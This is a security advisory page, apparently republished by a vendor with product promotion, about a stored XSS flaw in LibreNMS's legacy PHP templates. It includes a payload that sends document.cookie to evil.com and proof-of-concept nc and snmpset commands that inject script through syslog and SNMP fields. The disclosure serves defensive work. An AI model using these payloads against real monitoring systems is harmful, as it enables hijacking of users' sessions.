GHSA-7W8C-QGXG-M7JX

GHSA-7W8C-QGXG-M7JX is a high-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions < 26.5.0. It is fixed in 26.5.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

LibreNMS, Stored XSS via SNMP/Syslog Data in Legacy Templates

Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.

Vulnerable Code

Location 1: Syslog program field (clearest instance)

File: includes/html/print-syslog.inc.php:11,13

$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';

The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.

Location 2: Alert details ifAlias (highest impact, main alerts page)

File: includes/html/functions.inc.php:607

$fault_detail .= $tmp_alerts['ifAlias'] . '; ';

The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).

Location 3: Health pages, mempool_descr, storage_descr, sensor_descr

File: includes/html/pages/device/health/mempool.inc.php:38

echo "<h3 class='panel-title'>{$mempool->mempool_descr} ...";

File: includes/html/pages/device/health/storage.inc.php:27

echo "<h3 class='panel-title'>{$drive['storage_descr']} ...";

File: includes/html/pages/device/health/sensors.inc.php:29

echo "<h3 class='panel-title'>$sensor_descr ...";

All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.

Location 4: Pseudowires ifAlias

File: includes/html/pages/pseudowires.inc.php:76

echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';

Location 5: VRF page ifAlias

File: includes/html/pages/routing/vrf.inc.php:165

echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';

Data Flow

Attacker-controlled SNMP device/syslog source
  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
  → OR syslog receiver stores program field in syslog table
  → Authenticated user views alerts/health/syslog page
  → Legacy PHP template echoes raw value into HTML
  → XSS executes in victim's browser session

Attack Scenario

  1. Attacker compromises or controls a network device monitored by LibreNMS
  2. Attacker configures the device's SNMP interface description (ifAlias) to: <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
  3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the ports table
  4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page
  5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page

PoC

Syslog vector (simplest)

# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514

SNMP vector

# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'
# LibreNMS will poll this during next discovery/polling cycle

Contrast with Properly Escaped Code

Newer Blade templates and some legacy code properly escape SNMP data:

  • includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardware
  • app/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAlias
  • app/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message
  • All Blade templates use {{ }} auto-escaping

The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.

Impact

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

GHSA-7W8C-QGXG-M7JX has a CVSS score of 7.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (26.5.0); upgrading removes the vulnerable code path.

Affected versions

librenms/librenms (< 26.5.0)

Security releases

librenms/librenms → 26.5.0 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade librenms/librenms to 26.5.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-7W8C-QGXG-M7JX? GHSA-7W8C-QGXG-M7JX is a high-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions < 26.5.0. It is fixed in 26.5.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is GHSA-7W8C-QGXG-M7JX? GHSA-7W8C-QGXG-M7JX has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of librenms/librenms are affected by GHSA-7W8C-QGXG-M7JX? librenms/librenms (composer) versions < 26.5.0 is affected.
  4. Is there a fix for GHSA-7W8C-QGXG-M7JX? Yes. GHSA-7W8C-QGXG-M7JX is fixed in 26.5.0. Upgrade to this version or later.
  5. Is GHSA-7W8C-QGXG-M7JX exploitable, and should I be worried? Whether GHSA-7W8C-QGXG-M7JX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-7W8C-QGXG-M7JX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-7W8C-QGXG-M7JX? Upgrade librenms/librenms to 26.5.0 or later.

Stop the waste.
Protect your environment with Kodem.